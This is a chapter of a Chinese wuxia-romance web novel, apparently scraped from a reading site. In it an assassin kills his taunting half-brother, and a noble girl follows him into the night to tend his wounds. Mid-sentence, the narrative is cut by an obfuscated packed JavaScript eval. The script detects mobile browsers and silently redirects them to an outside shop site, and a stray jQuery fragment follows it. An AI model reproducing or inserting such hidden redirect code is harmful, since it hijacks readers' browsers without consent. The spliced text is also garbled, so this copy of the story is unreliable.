黄衣少年在九川重新用剑将他的身体死死钉在地上的时候,就在不停的咳血,好大半晌,才稍缓过来,看着站在离自己不远处的沈煕宁,笑:“你想知道他什么,只要我知道的,我都可以告诉你。”
鉴于之前他要挟过自己的缘故,沈煕宁没敢太靠近他。
“你多大了?”
黄衣少年没想到她会问这个,楞一下,“今年二十,正好弱冠。”
沈煕宁:“九川哥哥,比你小?”
黄衣少年冷笑:“是啊,他比我小,就比我小一个月。”
沈煕宁:“你是他的兄长?”
黄衣少年:“他又不是从石头缝里蹦出来的,有兄长不是很正常?”
沈煕宁点点头:“你说的对,不过,既然你们是兄弟,你为什么要杀九川哥哥?”
黄衣少年突然呸一声,“谁是这个下贱卑劣的私生子兄长,我才不是!”
沈煕宁:“可是他又不是石头缝里蹦出来的,有兄长不是很正常?”
黄衣少年:“……”
他声音冷冷:“你喜欢他?”
沈煕宁摇头:“我和他认识其实并没有多久。”
黄衣少年:“那你问这么多做什么,话多?”
沈煕宁:“是人都会讲话,也会有好奇心,不管是话多还是好奇心不都是正常的吗?”
黄衣少年一哽:“你讲话和他说话真是一模一样。”
都噎人得要命!
沈煕宁摇头,没有继续说这个话题。
“那你现在可以告诉我他的过去了吗?”
黄衣少年:“好啊,你过来,我就告诉你。”
沈煕宁警惕:“你又想挟持我!”
黄衣少年:“我都被他一剑钉在了地上,还怎么挟持你?”
沈煕宁:“谁知道你会怎么样,反正我是不会靠近你的。”
“你不说就算了,反正我也不是特别好奇。”
说完,她便作势要走,黄衣少年立马叫住了她:“行行行,我都告诉你。”
本以为,还能再拿捏这姑娘威胁九川一次,没想到,这姑娘也没那么笨。
被看穿了心思,黄衣少年也不恼,笑嘻嘻的说:“你好奇他的过去,那我告诉你好了。”
“他和我是同父异母的兄弟,二十年前,我娘怀了孕,他娘是我娘身边的一个洒扫丫头,趁着我娘怀孕不便的时候,偷偷爬上了我的爹的床,怀了这个孽种。”
“他娘也是个贱女人,勾引上了我爹后,便让我爹在外面置了一处宅子,让她安心养胎,我娘根本就不知道这一回事,等我娘知道这个孽种的存在以后,他已经一岁了。”
“那贱女人抱着这孽种上门来要名分,我娘当时怀着我弟弟,被这贱女人和孽种气得流产,我爹为了让我娘消息,将这贱女人当场打死,不过,这孽种却留了一命,丢出去了。”
“本以为他会就这么死了,没想到这孽种命大,竟然被一个老乞丐给收养了,跟在他身边做一个小乞丐。”
说起这事,黄衣少年像是想起什么好玩的事情来,笑得极为开心:“你是不知道,他小的时候吃过什么,狗食你知不知道,他会和狗抢吃的,连别人掉在地上踩了一脚的满头都要捡起来吃掉,你说,这世界上怎么会有这么下贱的人?”
沈煕宁皱紧了眉头,面容第一次冷了下来:“这件事情他并没有错,出身又不是他自己能选择的,你该怨的,不应该是他,而是你爹。”
“如果不是他,你娘也不会被气得流产,他当时只是一个一岁的孩子,稚子何辜,他并没有做错什么。”
黄衣少年怒吼:“他怎么没有错,他活着就是错,他的出生就是错,他怎么不去死,他就应该去死!”
沈煕宁:“可是人不能选择自己的出身,若是可以,我想九川哥哥也不会愿意出生。”
“他没有害你娘的意思,真正害你娘的,是你爹。”
黄衣少年冷笑:“你说这么多,无非就是给他脱罪罢了。”
“可我告诉你,他就是有罪的,他好好当自己的乞丐要饭不行,偏要来我家要饭,被我爹发现他的根骨不错,打算将他带回何家,凭什么?”
黄衣少年狞笑:“他以为何家是他这样卑贱低劣的乞丐能进的吗?下贱的人永远都是下贱的,他进何家没多久就手脚不干净偷了东西,还偏偏说自己没偷,敢做不敢认,还不是被丢出去了,继续和那个老乞丐行乞。”
沈煕宁:“他不是乞丐。”
黄衣少年:“他怎么不是乞丐,老乞丐小乞丐,他这辈子都是乞丐!”
沈煕宁皱眉,她见黄衣少年眼中如此深重的恨意,忽然想到什么:“九川哥哥说的拐老,其实不是你爹杀的,是你杀的对不对?”
黄衣少年突然闭嘴,不说话了。
沈煕宁:“你方才说,一个人做过乞丐,他这辈子都是乞丐,但我却觉得,这话不对,一个人的过去,不能决定他的以后,但一个人本性如何,却决定了他的一生都是如何,就比如你,小的时候就很恶毒,长大了也一样恶毒。”
沈煕宁很少用恶毒两个字去形容一个人,但眼下,她真真觉得这个人真的很恶毒。
黄衣少年被她这话激怒,怒而大吼:“你懂什么,他一个乞丐,就该好好当乞丐,想进何家,也不看我娘同不同意,我同不同意。”
“习武的根骨好,天分高又如何?”
“他这辈子低贱,就活该一辈子低贱!”
“谁让他是那个不要脸爬我爹床的贱女人的儿子!”
“他早就该死了,但偏偏,那老乞丐将他收养了,你说可笑不可笑,一个老乞丐,自己都养不活了,还要养一个小乞丐。他就该和他一起去死,死得……”
突然,一道黑色的身影骤然出现在房间内,死死拽住了黄衣少年的领子,一字一句:“拐老是你杀的?”
黄衣少年被他揪住衣领,不仅不怒,反而笑了起来,“没错,是我杀的。你个蠢货,你以为那天拐老给你的馒头是怎么来的,是我扔的,揍他的那些人,也是我暗中给了银子指使那些人去做的。我爹那天其实是去找你的,他想将你带回去,却没想到遇上了我。在你和我之间,他就选择了我,长大以后,我不过求求他,他还是选择了我,只可惜他懦弱又没用,枉称江湖第一高手,竟然死在了你的手下。你瞧,从头至尾都没有人选择你,武学天赋再高又如何,还不是像一条狗一样,四处摇尾乞食,连亲爹都要杀了你,拐老死了,你连狗都做不成……”
九川死死攥着他的领子,手背青筋一条条凸起,沙哑的字句仿佛是从喉咙里一点一点挤出来,“我早该杀了你的!”
“你该死!!”
黄衣少年不但不怕,反而呸了一口,哈哈笑了起来:“你瞧,你现在和当时一样,像是一头龇牙咧嘴即将发怒的疯狗。你连自己的亲爹都杀了,我还怕你杀了我吗?”
“你这头无情无义的疯狗,连自己的亲爹都杀,那老乞丐如果知道自己养了这样一头恶狗,一定会后悔当初为了给你带个馒头而被人打……嗬……”
话还未完,便有一柄锋利的匕首狠狠插进了他的喉咙,黄衣少年瞪大了眼睛看他,喉咙不断呛出血液。
九川看向他的眼是从未出现过的疯狂恨意,他拔出匕首,再次狠狠刺进黄衣少年的身体,鲜血四处溅开,染在了他的衣裳上,面具上,看着他无畏的挣扎,惊恐,仿佛这样,才能泄掉他的心头之恨。
黄衣少年一直呛着血,直到死前,眼睛都瞪得大大的,死不瞑目。
他全身上下满是鲜血淋漓的窟窿,将身下的木板沁湿,缓缓流淌开来,在摇曳的灯火下,格外明显。
浓烈的血腥味自此处弥漫开来。
直到黄衣少年彻底咽气,九川才停下来了自己的动作,缓缓直起身来,看着他的尸体,“你根本不配说他!”
“你和你爹,都是自以为是的蠢货。”
他只恨,自己没能早早杀了他,为拐老报仇。
看着脚下黄衣少年死不瞑目的尸体,九川拔出自己的剑插入剑鞘,转身,看也没看沈煕宁一眼,便走出了房门。
他满身是血的下了客栈二楼,艳红的血液顺着他的面具滴滴答答的落下,染红了他白皙的下颔,烛火幽暗,活像是从地狱里爬出来的恶鬼罗刹,吓得刚从柜子后面出来的掌柜和店小二惊骇不已,摔在地上,连滚带爬的回了柜子后面,颤抖着脸和嘴唇,什么想找他赔钱的想法,瞬间消失得一干二净,生怕这人发现自己两人还活着,要将他们二人一起全杀了。
好在,这个黑衣人并没有杀了他们的想法,他离开了客栈,消失在了幽深的黑夜里。
直到他消失了好一会儿,掌柜和店小二才小心翼翼攀着柜子的边缘探出头,看他还在不在。
也就这时,有急促的脚步声传来,“请问,你们有看到刚才那个人往哪边去了吗?”
二人楞一下,看着急匆匆从二楼跑下来的姑娘,均摇头,“没看见。”
见他们不知道九川的踪迹,沈煕宁看着外面黑沉沉的天色,咬了咬牙,拿起不远处的灯笼就走,“对不起,借用一下!”
随后,匆匆进了无边黑夜中。
一出客栈,沈煕宁提着灯笼便手做喇叭大喊:“九川哥哥!!”
“九川哥哥!!”
夜很深,如浓墨般深沉。
沈煕宁并不怕这附近有什么危险,因为最大的危险早就没了。
她现在最着急的,是九川去哪里了。
他一声不吭的离开,她是真的很担心他。
沈煕宁一边走,一边喊。
九川其实并没有离开多远。
他就在不远处的一棵树上。
他说过会护她平安,便不可能真的会离开。
他只是不想待在那个地方。
只是,他没有想到,沈煕宁会追出来寻他。
他听到她在喊他了,可身体依旧未动分毫,靠在树上,就那么看着沈煕宁拎着灯笼在四周到处寻找他。
今晚没有月亮,夜漆黑得伸不出见五指,那抹突然出现的烛光就像是忽然出现的星光,分外明显,很亮,特别亮,刺得他眼有些疼。
他捂住耳朵,试图不去听她的声音,可她一声又一声担忧焦急的声音还是涌入他的耳朵,怎么捂也挡不住。
他以为,只要自己不去看,不去听,她就不会找到自己了,可不知道何时,那抹盈盈细碎的光忽然出现在了他所在的树下。
沈煕宁仰着头,看着那坐在树上,捂住耳朵的黑衣少年,一时不知道自己是该气还是该笑。
她那么着急的寻他,他却好,明明听到了她的声音,还躲在这里不肯出声,甚至还捂住了自己的耳朵,以为这样,她就找不到他了吗?
她还是找到他了。
沈煕宁提着灯笼往上照了照他,“九川哥哥,你还不下来吗?”
九川依旧捂着耳朵,不动。
沈煕宁:“……”
还装傻听不见是吧?
她忽然扔掉了手上的灯笼,抬脚试探着踩了踩粗糙的树干,树叶摇晃两下,然后,右手抓着树支,左手扣着树干,开始往上爬。
九川所待的这棵树并不算高,但沈煕宁从小到大都未做过这等粗鄙不雅之事,所以十分不熟练,爬得气喘吁吁,特别费劲。
但她还是爬上去了。
由于天太黑,烛火的光又特别小,她看不清楚,所以只能小心翼翼,四肢并用的往他所在的那枝树干爬去。
姑娘的喘气声十分清晰,比他喊她的名字还要清晰,迫使九川不得不放下捂住自己耳朵的手,睁开眼,看着那四肢并用,气喘吁吁的姑娘往自己而来,看向他的眼睛比他见过最亮的月亮都还要明亮,忽然十分烦躁开口:“你来做什么?”
“你到底知不知道,你很讨厌?!”
然后,他做了一个沈煕宁怎么也没有想到的动作。
他跳下树,离开了。
身影再次消失在了黑暗当中。
沈煕宁看着自己好不容易爬上来,要接近他了,他却忽然又离开了,顿时气笑:“有武功了不起啊,说走就走!”
或许是太过生气,她一时没能注意脚下,再加上此时本就天黑,身体猛地失去控制,往下摔去。
“啊!!”
砰!
她猛地摔在了一个柔软而又温热的垫子上。
“不……不疼?!”
沈煕宁懵懵得摸了摸自己的身体,下一刻,一道听上去颇为咬牙切齿的声音自身下响起:“你当然不疼,因为疼得是我。”
“沈煕宁,你很重,知不知道?”
“还不快起来!”
沈煕宁这才发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17937382|212551||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现,身下躺着的竟然是已经离去的九川,顿时气不打一出来:“我哪里重了,在京城,我可是身材最好的姑娘,不胖不瘦,刚刚好,明明是你太弱!”
九川撇开头,嗤笑一声,也不知道是笑自己,还是笑她。
沈煕宁从他的身上下来,把一旁的灯笼拿起,却见九川站起,又要离开的模样,忙抓住了他的手腕:“你又要去哪里?”
九川甩开她的手:“与你有什么关系,你很讨厌,沈煕宁。”
沈煕宁被他甩开了手也不恼,再次抓住了他的手腕:“你就算讨厌我我也不会让你离开的。”
九川再次甩开了她的手,沈煕宁又再次抓了上去,两人一时就这么僵持了下来,最后,九川有些不耐了,“你到底想做什么?”
“怎么,你听了他那么多话,知道我是条疯狗,知道他明明是我兄长,我还亲手杀了他,你就不怕我一时发疯,将你也一起杀了?”
沈煕宁看着他:“那你会杀了我吗?”
九川眼底忽然闪过一丝戾气,猛地拔出腰间的长剑对准她的脖颈:“你知道了我这么多秘密,真觉得我不会杀了你?”
“早在之前我就警告过你,一个人知道的越多,死得就越快。”
沈煕宁眼眸依旧看着他,如一泓清水般澄澈,认真:“方才,是你救了我,我本就欠你一条命,如果你觉得我知道了你的秘密,你很生气,那你就动手吧。”
说完,她轻轻阖上眼,纤长的眼睫如蝶翼般轻轻颤着。
姑娘脖颈上那条细细的血痕在烛火下格外明显。
九川:“……”
他别开脸,收回自己的剑利落插入剑鞘,冷声:“我不屑对毫无武力的弱者出手。”
沈煕宁睁开眼,弯了弯眼:“我就知道,你不会杀了我的。”
九川沉默一下:“你很讨厌!”
沈煕宁笑吟吟:“可是我不讨厌你。”
九川一噎,有些烦躁开口:“你到底想做什么?”
沈煕宁:“嗯,其实也没什么,就比如,我想知道拐老是谁,他到底是怎么死的,你为什么那么恨他们?不过,你如果不想说的话,我就不问了。我出来找你,其实是想给你包扎伤口。”
一边说,沈煕宁一边将背上的包袱解了下来,拿出自己准备好的东西。
“你的手臂手了伤,后面还用了很大力气,如果不及时包扎的话,以后会留下后遗症的。”
她伸出手,抓住了他受伤的右手,在烛火下仔细查看。
他的右手臂其实已经包扎过了,看上去是他自己匆匆忙忙胡乱包扎的,所以看上去十分潦草,上面还有鲜血渗出。
“你自己包扎过了?”
九川:“你难不成以为我很蠢,会让伤口一直放着流血?”
沈煕宁噎一下:“……不是。”
“你包扎之前上过药了吗?”
九川:“上过药了。”
沈煕宁放下他的右手:“除了你的右手,你还有别的地方受伤吗?”
九川:“没有。”
沈熙宁:“我不信,我得自己看了才知道,你不许跑。”
说完,沈煕宁便拿着灯笼细细照着他的身体,上上下下仔细查看。
九川十分不适应,他偏开头,目光望向沉沉的夜色:“沈煕宁,就算你做得再多,我也不会欠你的人情,明天,你的花销我还是会记账的。”
沈煕宁动作滞了一下,随后继续查看:“哦,你记账就记账啊。”
九川:“你哭也没有用。”
沈煕宁有些恼:“我又不是哭包,什么叫我哭也没有用,我又没有说不让你记账。”
“你为什么总觉得我关心你是因为想要你的银子?”
“我身为侯府小姐,还缺你这点银子了?!”
然而,才刚说完,沈煕宁便飞快反应过来什么,忙捂住自己的嘴。
她刚才说什么了?
完了,她把自己身世说出来了。
沈煕宁小心翼翼的看了九川一眼,却见九川垂下了眼,沉默不说话时,顿时松了一口气。
她继续看他身上有没有伤,也就此时,她发现他的背部有一道血肉翻飞的伤口。
这道伤口已经没有流血了,结了厚厚的血痂和他的衣裳凝结在了一起。
“你背上有伤,我帮你包扎吧。”
九川抬眼,微转过身,看着身前的姑娘:“沈煕宁,你真的不怕我?”
沈煕宁正在掏自己的包袱,听见他的话,动作滞一下,抬头:“说不怕是假的,我以前从来没有经历过这样的事情,但我觉得,这种生活其实也挺有意思的。”
她低头,重新将自己包扎用的棉布和伤药拿出来,“再者说,你又没有无缘无故就杀人,我为什么要怕你?”
“你杀的,都是想要杀你的,总不能,你站在原地让人家来杀你,那也太傻了吧。”
九川沉默一下:“我是杀手,旁人一听见我的名号,便恨不得离我三丈远。”
“你是闺阁小姐,你不怕?”
沈煕宁想了想:“其实,第一次知道你是杀手的时候,我是有点怕的,但是后来发现你和我想象中的杀手好像不太一样,你挺好的,我就不太怕你了。”
九川:“今夜是我连累了你,你不怨我?”
沈煕宁:“嗯……既然决定跟你一起走,那我就做好了会有惊心动魄的经历的准备,我相信你,你会信守承诺的。你做到了你的承诺,我并没受什么伤,所以,我为什么要怨你呢?”
九川这次沉默了很久:“你和我见过的其他人都不一样。”
沈煕宁低头嘟囔:“都是人,有什么不一样的。”
她蹙眉看着他的伤口,抬头看他一眼,话语有些犹豫:“你要不,脱了衣服?”
上次他手臂上的那两道伤她是将他伤口周围的衣裳割掉,隔着衣服给他包扎的,现在这背上的伤并不适合和上次那样做。
九川伸手将她手里的棉布和伤药拿走:“我自己来。”
沈熙宁楞一下,着急:“伤在背部,你自己怎么来?”
九川走向黑暗:“我自己会。”
沈煕宁想跟上去,但下一刻,他就已经消失在了原地,眼下四周黑漆漆的,她根本就看不到他在哪里。
无奈,她只能站在原地,等他回来。